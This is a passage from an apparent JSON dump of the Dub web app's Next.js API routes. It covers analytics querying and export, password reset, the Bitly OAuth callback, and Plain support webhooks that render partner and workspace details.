    "content": "export * from \"../route\";\n"
  },
  {
    "path": "apps/web/app/api/analytics/dashboard/route.ts",
    "content": "import { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { assertValidDateRangeForPlan } from \"@/lib/api/utils/assert-valid-date-range-for-plan\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { PlanProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { parseAnalyticsQuery } from \"@/lib/zod/schemas/analytics\";\nimport { prisma } from \"@dub/prisma\";\nimport { DUB_DEMO_LINKS, DUB_WORKSPACE_ID, getSearchParams } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\n// GET /api/analytics/dashboard – get analytics for the dashboard\nexport const GET = async (req: Request) => {\n  try {\n    const searchParams = getSearchParams(req.url);\n    const parsedParams = parseAnalyticsQuery(searchParams);\n\n    const {\n      domain: domainFilter,\n      key,\n      folderId: folderIdFilter,\n      interval,\n      start,\n      end,\n    } = parsedParams;\n\n    // Extract string values for specific link/folder lookup\n    const domain = getFirstFilterValue(domainFilter);\n    const folderId = getFirstFilterValue(folderIdFilter);\n\n    if ((!domain || !key) && !folderId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Missing domain/key or folderId query parameters\",\n      });\n    }\n\n    let demoLink, link, folder, workspace;\n\n    if (folderId) {\n      // Folder\n      folder = await prisma.folder.findUnique({\n        where: {\n          id: folderId,\n        },\n        select: {\n          id: true,\n          dashboard: true,\n          projectId: true,\n          project: {\n            select: {\n              id: true,\n              plan: true,\n              usage: true,\n              usageLimit: true,\n              createdAt: true,\n            },\n          },\n          ...(domain && key\n            ? {\n                links: {\n                  select: { id: true },\n                  where: {\n                    domain,\n                    key,\n                  },\n                },\n              }\n            : {}),\n        },\n      });\n\n      if (!folder?.dashboard) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: \"This folder does not have a public analytics dashboard\",\n        });\n      }\n\n      workspace = folder.project;\n\n      if (\"links\" in folder && folder.links?.length) link = folder.links[0];\n    } else {\n      // Link\n      demoLink = DUB_DEMO_LINKS.find(\n        (l) => l.domain === domain && l.key === key,\n      );\n\n      // if it's a demo link\n      if (demoLink) {\n        link = {\n          id: demoLink.id,\n          projectId: DUB_WORKSPACE_ID,\n        };\n      } else {\n        link = await prisma.link.findUnique({\n          where: {\n            domain_key: { domain: domain!, key: key! },\n          },\n          select: {\n            id: true,\n            dashboard: true,\n            projectId: true,\n            project: {\n              select: {\n                id: true,\n                plan: true,\n                usage: true,\n                usageLimit: true,\n                createdAt: true,\n              },\n            },\n          },\n        });\n\n        if (!link?.dashboard) {\n          throw new DubApiError({\n            code: \"forbidden\",\n            message: \"This link does not have a public analytics dashboard\",\n          });\n        }\n\n        workspace = link.project;\n      }\n    }\n\n    assertValidDateRangeForPlan({\n      plan: workspace?.plan || \"free\",\n      dataAvailableFrom: workspace?.createdAt,\n      interval,\n      start,\n      end,\n    });\n\n    if (workspace && workspace.usage > workspace.usageLimit) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: exceededLimitError({\n          plan: workspace.plan as PlanProps,\n          limit: workspace.usageLimit,\n          type: \"clicks\",\n        }),\n      });\n    }\n\n    // Create cache key based on all parameters that affect the result\n    const cacheKey = `analyticsDashboardCache:${JSON.stringify(parsedParams)}`;\n\n    // Check if results exist in cache\n    const cached = await redis.get(cacheKey);\n    if (cached) {\n      console.log(\n        `[Analytics Dashboard] Cache hit: ${JSON.stringify(parsedParams, null, 2)}`,\n      );\n      return NextResponse.json(cached);\n    }\n\n    console.log(\n      `[Analytics Dashboard] Cache miss: ${JSON.stringify(parsedParams, null, 2)}`,\n    );\n\n    // When domain+key resolves a specific link, exclude domain from filters\n    const { domain: _domain, key: _key, ...filterParams } = parsedParams;\n\n    const response = await getAnalytics({\n      ...(link ? filterParams : parsedParams),\n      // workspaceId can be undefined (for public links that haven't been claimed/synced to a workspace)\n      ...(workspace && { workspaceId: workspace.id }),\n      ...(folder && { folderId: folder.id }),\n      ...(link && { linkId: link.id }),\n    });\n\n    // Cache the response for 1 minute\n    console.log(\n      `[Analytics Dashboard] Caching response for ${JSON.stringify(parsedParams, null, 2)}`,\n    );\n    waitUntil(redis.set(cacheKey, response, { ex: 60 }));\n\n    return NextResponse.json(response);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n};\n"
  },
  {
    "path": "apps/web/app/api/analytics/export/route.ts",
    "content": "import { VALID_ANALYTICS_ENDPOINTS } from \"@/lib/analytics/constants\";\nimport { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { convertToCSV } from \"@/lib/analytics/utils\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { throwIfClicksUsageExceeded } from \"@/lib/api/links/usage-checks\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { assertValidDateRangeForPlan } from \"@/lib/api/utils/assert-valid-date-range-for-plan\";\nimport { prefixWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { parseAnalyticsQuery } from \"@/lib/zod/schemas/analytics\";\nimport { Link } from \"@dub/prisma/client\";\nimport JSZip from \"jszip\";\n\n// GET /api/analytics/export – get export data for analytics\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    throwIfClicksUsageExceeded(workspace);\n\n    const parsedParams = parseAnalyticsQuery(searchParams);\n\n    let {\n      interval,\n      start,\n      end,\n      folderId,\n      domain,\n      key,\n      linkId,\n      externalId,\n      programId,\n    } = parsedParams;\n\n    let link: Link | null = null;\n\n    let programStartedAt: Date | null | undefined = null;\n    if (programId) {\n      const workspaceProgramId = getDefaultProgramIdOrThrow(workspace);\n      if (programId !== workspaceProgramId) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: `Program ${programId} does not belong to workspace ${prefixWorkspaceId(workspace.id)}.`,\n        });\n      }\n      // dataAvailableFrom for timeseries is resolved per-endpoint below\n      const program = await getProgramOrThrow({\n        workspaceId: workspace.id,\n        programId,\n      });\n      programStartedAt = program.startedAt;\n    }\n\n    let folderIdToVerify = getFirstFilterValue(folderId);\n    if (!linkId && (externalId || (domain && key))) {\n      const link = await getLinkOrThrow({\n        workspaceId: workspace.id,\n        linkId,\n        externalId,\n        domain: getFirstFilterValue(domain),\n        key,\n      });\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n\n      // since we're filtering for a specific link, exclude domain from filters\n      parsedParams.domain = undefined;\n\n      if (link.folderId && !folderIdToVerify) {\n        folderIdToVerify = link.folderId;\n      }\n    }\n\n    if (folderIdToVerify) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: folderIdToVerify,\n        requiredPermission: \"folders.read\",\n      });\n    }\n\n    assertValidDateRangeForPlan({\n      plan: workspace.plan,\n      dataAvailableFrom: workspace.createdAt,\n      interval,\n      start,\n      end,\n    });\n\n    // When domain+key resolves a specific link, exclude domain from filters\n    const { domain: _domain, key: _key, ...filterParams } = parsedParams;\n\n    const zip = new JSZip();\n\n    await Promise.all(\n      VALID_ANALYTICS_ENDPOINTS.map(async (endpoint) => {\n        // no need to fetch top links data if there's a link specified\n        // since this is just a single link\n        if (endpoint === \"top_links\" && link) return;\n        // skip clicks count\n        if (endpoint === \"count\") return;\n\n        const response = await getAnalytics({\n          ...(link ? filterParams : parsedParams),\n          workspaceId: workspace.id,\n          groupBy: endpoint,\n          isDeprecatedClicksEndpoint: false,\n          ...(endpoint === \"timeseries\" && {\n            dataAvailableFrom: programStartedAt ?? workspace.createdAt,\n          }),\n        });\n\n        if (!response || response.length === 0) return;\n\n        const csvData = convertToCSV(response);\n        zip.file(`${endpoint}.csv`, csvData);\n      }),\n    );\n\n    const zipData = await zip.generateAsync({ type: \"nodebuffer\" });\n\n    return new Response(zipData as unknown as BodyInit, {\n      headers: {\n        \"Content-Type\": \"application/zip\",\n        \"Content-Disposition\": \"attachment; filename=analytics_export.zip\",\n      },\n    });\n  },\n  {\n    requiredPermissions: [\"analytics.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/analytics/route.ts",
    "content": "import { VALID_ANALYTICS_ENDPOINTS } from \"@/lib/analytics/constants\";\nimport { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { throwIfClicksUsageExceeded } from \"@/lib/api/links/usage-checks\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { assertValidDateRangeForPlan } from \"@/lib/api/utils/assert-valid-date-range-for-plan\";\nimport { prefixWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport {\n  analyticsPathParamsSchema,\n  parseAnalyticsQuery,\n} from \"@/lib/zod/schemas/analytics\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/analytics – get analytics\nexport const GET = withWorkspace(\n  async ({ params, searchParams, workspace, session }) => {\n    throwIfClicksUsageExceeded(workspace);\n\n    let { eventType: oldEvent, endpoint: oldType } =\n      analyticsPathParamsSchema.parse(params);\n\n    // for backwards compatibility (we used to support /analytics/[endpoint] as well)\n    if (!oldType && oldEvent && VALID_ANALYTICS_ENDPOINTS.includes(oldEvent)) {\n      oldType = oldEvent;\n      oldEvent = undefined;\n    }\n\n    const parsedParams = parseAnalyticsQuery(searchParams);\n\n    let {\n      event,\n      groupBy,\n      interval,\n      start,\n      end,\n      folderId,\n      domain,\n      key,\n      linkId,\n      externalId,\n      programId,\n    } = parsedParams;\n\n    event = oldEvent || event;\n    groupBy = oldType || groupBy;\n\n    let programStartedAt: Date | null | undefined = null;\n    if (programId) {\n      const workspaceProgramId = getDefaultProgramIdOrThrow(workspace);\n      if (programId !== workspaceProgramId) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: `Program ${programId} does not belong to workspace ${prefixWorkspaceId(workspace.id)}.`,\n        });\n      }\n      if (groupBy === \"timeseries\") {\n        const program = await getProgramOrThrow({\n          workspaceId: workspace.id,\n          programId,\n        });\n        programStartedAt = program.startedAt;\n      }\n    }\n\n    let folderIdToVerify = getFirstFilterValue(folderId);\n    if (!linkId && (externalId || (domain && key))) {\n      const link = await getLinkOrThrow({\n        workspaceId: workspace.id,\n        linkId,\n        externalId,\n        domain: getFirstFilterValue(domain),\n        key,\n      });\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n\n      // since we're filtering for a specific link, exclude domain from filters\n      parsedParams.domain = undefined;\n\n      if (link.folderId && !folderIdToVerify) {\n        folderIdToVerify = link.folderId;\n      }\n    }\n\n    if (folderIdToVerify) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: folderIdToVerify,\n        requiredPermission: \"folders.read\",\n      });\n    }\n\n    assertValidDateRangeForPlan({\n      plan: workspace.plan,\n      dataAvailableFrom: workspace.createdAt,\n      interval,\n      start,\n      end,\n    });\n\n    // Identify the request is from deprecated clicks endpoint\n    // (/api/analytics/clicks)\n    // (/api/analytics/count)\n    // (/api/analytics/clicks/clicks)\n    // (/api/analytics/clicks/count)\n    const isDeprecatedClicksEndpoint =\n      oldEvent === \"clicks\" || oldType === \"count\";\n\n    console.time(\"getAnalytics\");\n    const response = await getAnalytics({\n      ...parsedParams,\n      event,\n      groupBy,\n      workspaceId: workspace.id,\n      isDeprecatedClicksEndpoint,\n      // dataAvailableFrom is only relevant for timeseries groupBy\n      ...(groupBy === \"timeseries\" && {\n        dataAvailableFrom: programStartedAt ?? workspace.createdAt,\n      }),\n    });\n    console.timeEnd(\"getAnalytics\");\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"analytics.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/auth/[...nextauth]/route.tsx",
    "content": "import { authOptions } from \"@/lib/auth\";\nimport NextAuth from \"next-auth\";\n\nconst handler = NextAuth(authOptions);\n\nexport { handler as GET, handler as POST };\n"
  },
  {
    "path": "apps/web/app/api/auth/reset-password/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { parseRequestBody, ratelimitOrThrow } from \"@/lib/api/utils\";\nimport { hashPassword, validatePassword } from \"@/lib/auth/password\";\nimport { resetPasswordSchema } from \"@/lib/zod/schemas/auth\";\nimport { sendEmail } from \"@dub/email\";\nimport PasswordUpdated from \"@dub/email/templates/password-updated\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextRequest, NextResponse } from \"next/server\";\n\n// POST /api/auth/reset-password - reset password using the reset token\nexport async function POST(req: NextRequest) {\n  try {\n    await ratelimitOrThrow(req, \"reset-password\");\n\n    const { token, password } = resetPasswordSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    // Find the token\n    const tokenFound = await prisma.passwordResetToken.findFirst({\n      where: {\n        token,\n        expires: {\n          gte: new Date(),\n        },\n      },\n      select: {\n        identifier: true,\n      },\n    });\n\n    if (!tokenFound) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message:\n          \"Password reset token not found or expired. Please request a new one.\",\n      });\n    }\n\n    const { identifier } = tokenFound;\n\n    const user = await prisma.user.findUniqueOrThrow({\n      where: {\n        email: identifier,\n      },\n      select: {\n        emailVerified: true,\n        passwordHash: true,\n      },\n    });\n\n    // Check if the new password is the same as the current password\n    if (user.passwordHash) {\n      const isSamePassword = await validatePassword({\n        password,\n        passwordHash: user.passwordHash,\n      });\n\n      if (isSamePassword) {\n        throw new DubApiError({\n          code: \"unprocessable_entity\",\n          message:\n            \"Your new password cannot be the same as your current password.\",\n        });\n      }\n    }\n\n    await prisma.$transaction([\n      // Delete the token\n      prisma.passwordResetToken.deleteMany({\n        where: {\n          token,\n        },\n      }),\n\n      // Update the user's password\n      prisma.user.update({\n        where: {\n          email: identifier,\n        },\n        data: {\n          passwordHash: await hashPassword(password),\n          lockedAt: null, // Unlock the account after a successful password reset\n          ...(!user.emailVerified && { emailVerified: new Date() }), // Mark the email as verified\n        },\n      }),\n    ]);\n\n    // Send the email to inform the user that their password has been reset\n    waitUntil(\n      sendEmail({\n        subject: \"Your Dub account password has been reset\",\n        to: identifier,\n        react: PasswordUpdated({\n          email: identifier,\n          verb: \"reset\",\n        }),\n      }),\n    );\n\n    return NextResponse.json({ ok: true });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/callback/bitly/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getSession } from \"@/lib/auth\";\nimport { bitlyOAuthProvider } from \"@/lib/integrations/bitly/oauth\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/callback/bitly – bitly OAuth callback\nexport async function GET(req: Request) {\n  try {\n    const session = await getSession();\n\n    if (!session?.user.id) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Unauthorized.\",\n      });\n    }\n\n    const {\n      token: response,\n      contextId: { workspaceId, folderId },\n    } = await bitlyOAuthProvider.exchangeCodeForToken<{\n      workspaceId: string;\n      folderId?: string;\n    }>(req);\n\n    if (!response || response.includes(\"error\")) {\n      return NextResponse.redirect(APP_DOMAIN);\n    }\n\n    const params = new URLSearchParams(response);\n\n    const [workspace, _] = await Promise.all([\n      // get workspace slug from workspaceId\n      prisma.project.findUnique({\n        where: {\n          id: workspaceId,\n        },\n        select: {\n          slug: true,\n        },\n      }),\n\n      // store access token in redis\n      redis.set(`import:bitly:${workspaceId}`, params.get(\"access_token\")),\n    ]);\n\n    const queryParams = new URLSearchParams({\n      import: \"bitly\",\n      ...(folderId ? { folderId } : {}),\n    });\n\n    const redirectUrl = workspace\n      ? `${APP_DOMAIN}/${workspace.slug}?${queryParams.toString()}`\n      : APP_DOMAIN;\n\n    return NextResponse.redirect(redirectUrl);\n  } catch (error) {\n    console.error(\"[/api/callback/bitly]\", error);\n\n    return NextResponse.redirect(APP_DOMAIN);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/callback/plain/partner/route.ts",
    "content": "import { plain } from \"@/lib/plain/client\";\nimport { upsertPlainCustomer } from \"@/lib/plain/upsert-plain-customer\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  COUNTRIES,\n  currencyFormatter,\n  formatDate,\n  formatDateTimeSmart,\n} from \"@dub/utils\";\nimport { uiComponent } from \"@team-plain/typescript-sdk\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport {\n  plainCallbackSchema,\n  plainCopySection,\n  plainDivider,\n  plainEmptyContainer,\n  plainSpacer,\n  plainUsageSection,\n} from \"../utils\";\n\nexport async function POST(req: NextRequest) {\n  // authenticate webhook X-Plain-Webhook-Secret\n  const token = req.headers.get(\"X-Plain-Webhook-Secret\");\n  if (token !== process.env.PLAIN_WEBHOOK_SECRET) {\n    return new Response(\"Unauthorized\", { status: 401 });\n  }\n\n  let { customer } = plainCallbackSchema.parse(await req.json());\n\n  // if there's no externalId yet, try to find the user by email and set it\n  if (!customer.externalId) {\n    const user = await prisma.user.findUnique({\n      where: {\n        email: customer.email,\n      },\n    });\n\n    if (!user || !user.email) {\n      return NextResponse.json({\n        cards: [\n          {\n            key: \"partner\",\n            components: [plainEmptyContainer(\"No user found.\")],\n          },\n        ],\n      });\n    }\n    customer.externalId = user.id;\n\n    await upsertPlainCustomer({\n      id: user.id,\n      name: user.name,\n      email: user.email,\n    });\n  }\n\n  const partnerProfile = await prisma.partner.findFirst({\n    where: {\n      users: {\n        some: {\n          userId: customer.externalId,\n        },\n      },\n    },\n    include: {\n      programs: {\n        select: {\n          program: {\n            select: {\n              name: true,\n            },\n          },\n          createdAt: true,\n          totalCommissions: true,\n        },\n        where: {\n          totalCommissions: {\n            gt: 0,\n          },\n        },\n        orderBy: {\n          totalCommissions: \"desc\",\n        },\n        take: 5,\n      },\n    },\n  });\n\n  if (!partnerProfile) {\n    return NextResponse.json({\n      cards: [\n        {\n          key: \"partner\",\n          components: [plainEmptyContainer(\"No partner profile found.\")],\n        },\n      ],\n    });\n  }\n\n  const {\n    id,\n    name,\n    email,\n    country,\n    stripeRecipientId,\n    cryptoWalletAddress,\n    stripeConnectId,\n    paypalEmail,\n    payoutsEnabledAt,\n  } = partnerProfile;\n\n  await plain.addCustomerToCustomerGroups({\n    customerId: customer.id,\n    customerGroupIdentifiers: [\n      {\n        customerGroupKey: \"partners.dub.co\",\n      },\n    ],\n  });\n\n  return NextResponse.json({\n    cards: [\n      {\n        key: \"partner\",\n        components: [\n          ...plainCopySection({\n            label: \"Partner ID\",\n            value: id,\n          }),\n          plainSpacer,\n          ...plainCopySection({\n            label: \"Partner Name\",\n            value: name,\n          }),\n          ...(email\n            ? [\n                plainSpacer,\n                ...plainCopySection({\n                  label: \"Partner Email\",\n                  value: email,\n                }),\n              ]\n            : []),\n          plainSpacer,\n          ...plainCopySection({\n            label: \"Partner Country\",\n            value: country ? COUNTRIES[country] : \"Unknown\",\n          }),\n          ...(stripeRecipientId\n            ? [\n                plainSpacer,\n                uiComponent.row({\n                  mainContent: [\n                    uiComponent.text({\n                      text: \"Stripe Recipient Account\",\n                      size: \"M\",\n                      color: \"NORMAL\",\n                    }),\n                    uiComponent.text({\n                      text: stripeRecipientId,\n                      size: \"S\",\n                      color: \"MUTED\",\n                    }),\n                  ],\n                  asideContent: [\n                    uiComponent.linkButton({\n                      url: `https://dashboard.stripe.com/global-payouts/recipients/${stripeRecipientId}`,\n                      label: \"View in Stripe\",\n                    }),\n                  ],\n                }),\n                ...(cryptoWalletAddress\n                  ? [\n                      plainSpacer,\n                      ...plainCopySection({\n                        label: \"USDC Wallet Address\",\n                        value: cryptoWalletAddress,\n                      }),\n                    ]\n                  : []),\n              ]\n            : []),\n          ...(stripeConnectId\n            ? [\n                plainSpacer,\n                uiComponent.row({\n                  mainContent: [\n                    uiComponent.text({\n                      text: \"Stripe Express Account\",\n                      size: \"M\",\n                      color: \"NORMAL\",\n                    }),\n                    uiComponent.text({\n                      text: stripeConnectId,\n                      size: \"S\",\n                      color: \"MUTED\",\n                    }),\n                  ],\n                  asideContent: [\n                    uiComponent.linkButton({\n                      url: `https://dashboard.stripe.com/connect/accounts/${stripeConnectId}`,\n                      label: \"View in Stripe\",\n                    }),\n                  ],\n                }),\n              ]\n            : []),\n          ...(paypalEmail\n            ? [\n                plainSpacer,\n                ...plainCopySection({\n                  label: \"Paypal Email\",\n                  value: paypalEmail,\n                }),\n              ]\n            : []),\n          plainSpacer,\n          uiComponent.row({\n            mainContent: [\n              uiComponent.text({\n                text: \"Payouts Enabled (UTC)\",\n              }),\n            ],\n            asideContent: [\n              uiComponent.badge({\n                label: payoutsEnabledAt\n                  ? formatDateTimeSmart(payoutsEnabledAt, {\n                      timeZone: \"utc\",\n                    })\n                  : \"No\",\n                color: payoutsEnabledAt ? \"GREEN\" : \"RED\",\n              }),\n            ],\n          }),\n          ...(partnerProfile.programs.length > 0\n            ? [\n                plainDivider,\n                ...partnerProfile.programs.flatMap(\n                  ({ program, createdAt, totalCommissions }) => [\n                    plainUsageSection({\n                      usage: currencyFormatter(totalCommissions),\n                      label: program.name,\n                      sublabel: `Partner since ${formatDate(createdAt)}`,\n                      color: \"GREEN\",\n                    }),\n                    uiComponent.spacer({\n                      size: \"M\",\n                    }),\n                  ],\n                ),\n              ]\n            : []),\n        ],\n      },\n    ],\n  });\n}\n"
  },
  {
    "path": "apps/web/app/api/callback/plain/utils.ts",
    "content": "import { nFormatter } from \"@dub/utils\";\nimport { uiComponent } from \"@team-plain/typescript-sdk\";\nimport * as z from \"zod/v4\";\n\nexport const plainCallbackSchema = z.object({\n  customer: z.object({\n    id: z.string(),\n    email: z.email(),\n    externalId: z.string().nullish(),\n  }),\n});\n\nexport const plainDivider = uiComponent.divider({\n  spacingSize: \"M\",\n});\nexport const plainSpacer = uiComponent.spacer({\n  size: \"S\",\n});\n\nexport const plainEmptyContainer = (text: string) =>\n  uiComponent.container({\n    content: [\n      plainSpacer,\n      uiComponent.plainText({\n        text,\n        size: \"S\",\n      }),\n      plainSpacer,\n    ],\n  });\n\nexport const plainTextSection = ({\n  label,\n  value,\n}: {\n  label: string;\n  value: string;\n}) =>\n  uiComponent.row({\n    mainContent: [\n      uiComponent.text({\n        text: label,\n        size: \"M\",\n        color: \"MUTED\",\n      }),\n    ],\n    asideContent: [\n      uiComponent.text({\n        text: value,\n        size: \"M\",\n        color: \"NORMAL\",\n      }),\n    ],\n  });\n\nexport const plainCopySection = ({\n  label,\n  value,\n}: {\n  label: string;\n  value: string;\n}) => [\n  uiComponent.text({\n    text: label,\n    size: \"S\",\n    color: \"MUTED\",\n  }),\n  uiComponent.row({\n    mainContent: [\n      uiComponent.text({\n        text: value,\n      }),\n    ],\n    asideContent: [\n      uiComponent.copyButton({\n        tooltip: `Copy ${label}`,\n        value: value,\n      }),\n    ],\n  }),\n];\n\nexport const plainUsageSection = ({\n  usage,\n  usageLimit,\n  label,\n  sublabel,\n  color,\n}: {\n  usage: number | string;\n  usageLimit?: number;\n  label: string;\n  sublabel?: string;\n  color: \"GREY\" | \"GREEN\" | \"YELLOW\" | \"RED\" | \"BLUE\";\n}) =>\n  uiComponent.row({\n    mainContent: [\n      uiComponent.text({\n        text: label,\n        size: \"M\",\n        color: \"NORMAL\",\n      }),\n      ...(sublabel\n        ? [\n            uiComponent.text({\n              text: sublabel,\n              size: \"S\",\n              color: \"MUTED\",\n            }),\n          ]\n        : []),\n    ],\n    asideContent: [\n      uiComponent.badge({\n        label:\n          typeof usage === \"number\"\n            ? `${nFormatter(usage, { full: true })}${usageLimit ? ` of ${nFormatter(usageLimit, { full: true })}` : \"\"}`\n            : usage,\n        color: color,\n      }),\n    ],\n  });\n"
  },
  {
    "path": "apps/web/app/api/callback/plain/workspace/route.ts",
    "content": "import { prefixWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { syncUserPlanToPlain } from \"@/lib/plain/sync-user-plan\";\nimport { upsertPlainCustomer } from \"@/lib/plain/upsert-plain-customer\";\nimport { prisma } from \"@dub/prisma\";\nimport { capitalize, formatDate } from \"@dub/utils\";\nimport { uiComponent } from \"@team-plain/typescript-sdk\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport {\n  plainCallbackSchema,\n  plainCopySection,\n  plainDivider,\n  plainEmptyContainer,\n  plainSpacer,\n  plainUsageSection,\n} from \"../utils\";\n\nexport async function POST(req: NextRequest) {\n  // authenticate webhook X-Plain-Webhook-Secret\n  const token = req.headers.get(\"X-Plain-Webhook-Secret\");\n  if (token !== process.env.PLAIN_WEBHOOK_SECRET) {\n    return new Response(\"Unauthorized\", { status: 401 });\n  }\n\n  let { customer } = plainCallbackSchema.parse(await req.json());\n\n  const user = await prisma.user.findUnique({\n    where: customer.externalId\n      ? { id: customer.externalId }\n      : { email: customer.email },\n  });\n\n  if (!user || !user.email) {\n    return NextResponse.json({\n      cards: [\n        {\n          key: \"workspace\",\n          components: [plainEmptyContainer(\"No user found.\")],\n        },\n      ],\n    });\n  }\n\n  if (!customer.externalId) {\n    customer.externalId = user.id;\n    await upsertPlainCustomer({\n      id: user.id,\n      name: user.name,\n      email: user.email,\n    });\n  }\n\n  waitUntil(syncUserPlanToPlain(user));\n\n  const topWorkspace = await prisma.project.findFirst({\n    where: {\n      users: {\n        some: {\n          userId: customer.externalId,\n        },\n      },\n    },\n    include: {\n      _count: {\n        select: {\n          domains: true,\n          users: true,\n        },\n      },\n    },\n    orderBy: {\n      usageLimit: \"desc\",\n    },\n    take: 1,\n  });\n\n  if (!topWorkspace) {\n    return NextResponse.json({\n      cards: [\n        {\n          key: \"workspace\",\n          components: [\n            plainEmptyContainer(\"User does not belong to any workspace.\"),\n          ],\n        },\n      ],\n    });\n  }\n\n  const {\n    id,\n    name,\n    slug,\n    plan,\n    stripeId,\n    usage,\n    usageLimit,\n    totalClicks,\n    linksUsage,\n    linksLimit,\n    totalLinks,\n    domainsLimit,\n    usersLimit,\n    _count: { domains, users },\n  } = topWorkspace;\n\n  return NextResponse.json({\n    cards: [\n      {\n        key: \"workspace\",\n        components: [\n          ...plainCopySection({\n            label: \"Workspace ID\",\n            value: prefixWorkspaceId(id),\n          }),\n          plainSpacer,\n          ...plainCopySection({\n            label: \"Workspace Name\",\n            value: name,\n          }),\n          plainSpacer,\n          ...plainCopySection({\n            label: \"Workspace Slug\",\n            value: slug,\n          }),\n          plainSpacer,\n          {\n            componentRow: {\n              rowMainContent: [\n                {\n                  componentText: {\n                    text: \"Plan\",\n                  },\n                },\n              ],\n              rowAsideContent: [\n                {\n                  componentBadge: {\n                    badgeLabel: capitalize(plan),\n                    badgeColor:\n                      plan === \"enterprise\"\n                        ? \"RED\"\n                        : plan === \"advanced\"\n                          ? \"YELLOW\"\n                          : plan.startsWith(\"business\")\n                            ? \"GREEN\"\n                            : plan === \"pro\"\n                              ? \"BLUE\"\n                              : \"GREY\",\n                  },\n                },\n              ],\n            },\n          },\n          ...(stripeId\n            ? [\n                uiComponent.spacer({\n                  size: \"M\",\n                }),\n                uiComponent.row({\n                  mainContent: [\n                    uiComponent.text({\n                      text: \"Stripe Customer\",\n                      size: \"M\",\n                      color: \"NORMAL\",\n                    }),\n                    uiComponent.text({\n                      text: stripeId,\n                      size: \"S\",\n                      color: \"MUTED\",\n                    }),\n                  ],\n                  asideContent: [\n                    uiComponent.linkButton({\n                      url: `https://dashboard.stripe.com/customers/${stripeId}`,\n                      label: \"View in Stripe\",\n                    }),\n                  ],\n                }),\n              ]\n            : []),\n          uiComponent.spacer({\n            size: \"M\",\n          }),\n          {\n            componentRow: {\n              rowMainContent: [\n                {\n                  componentText: {\n                    text: \"Customer since\",\n                  },\n                },\n              ],\n              rowAsideContent: [\n                {\n                  componentText: {\n                    text: formatDate(topWorkspace.createdAt),\n                  },\n                },\n              ],\n            },\n          },\n          plainDivider,\n          plainUsageSection({\n            usage,\n            usageLimit,\n            label: \"Clicks\",\n            sublabel: \"This billing period\",\n            color: \"GREEN\",\n          }),\n          uiComponent.spacer({\n            size: \"M\",\n          }),\n          plainUsageSection({\n            usage: linksUsage,\n            usageLimit: linksLimit,\n            label: \"Links\",\n            sublabel: \"This billing period\",\n            color: \"YELLOW\",\n          }),\n          uiComponent.spacer({\n            size: \"M\",\n          }),\n          plainUsageSection({\n            usage: totalClicks,\n            label: \"Total Clicks\",\n            color: \"GREEN\",\n          }),\n          uiComponent.spacer({\n            size: \"M\",\n          }),\n          plainUsageSection({\n            usage: totalLinks,\n            label: \"Total Links\",\n            color: \"YELLOW\",\n          }),\n          uiComponent.spacer({\n            size: 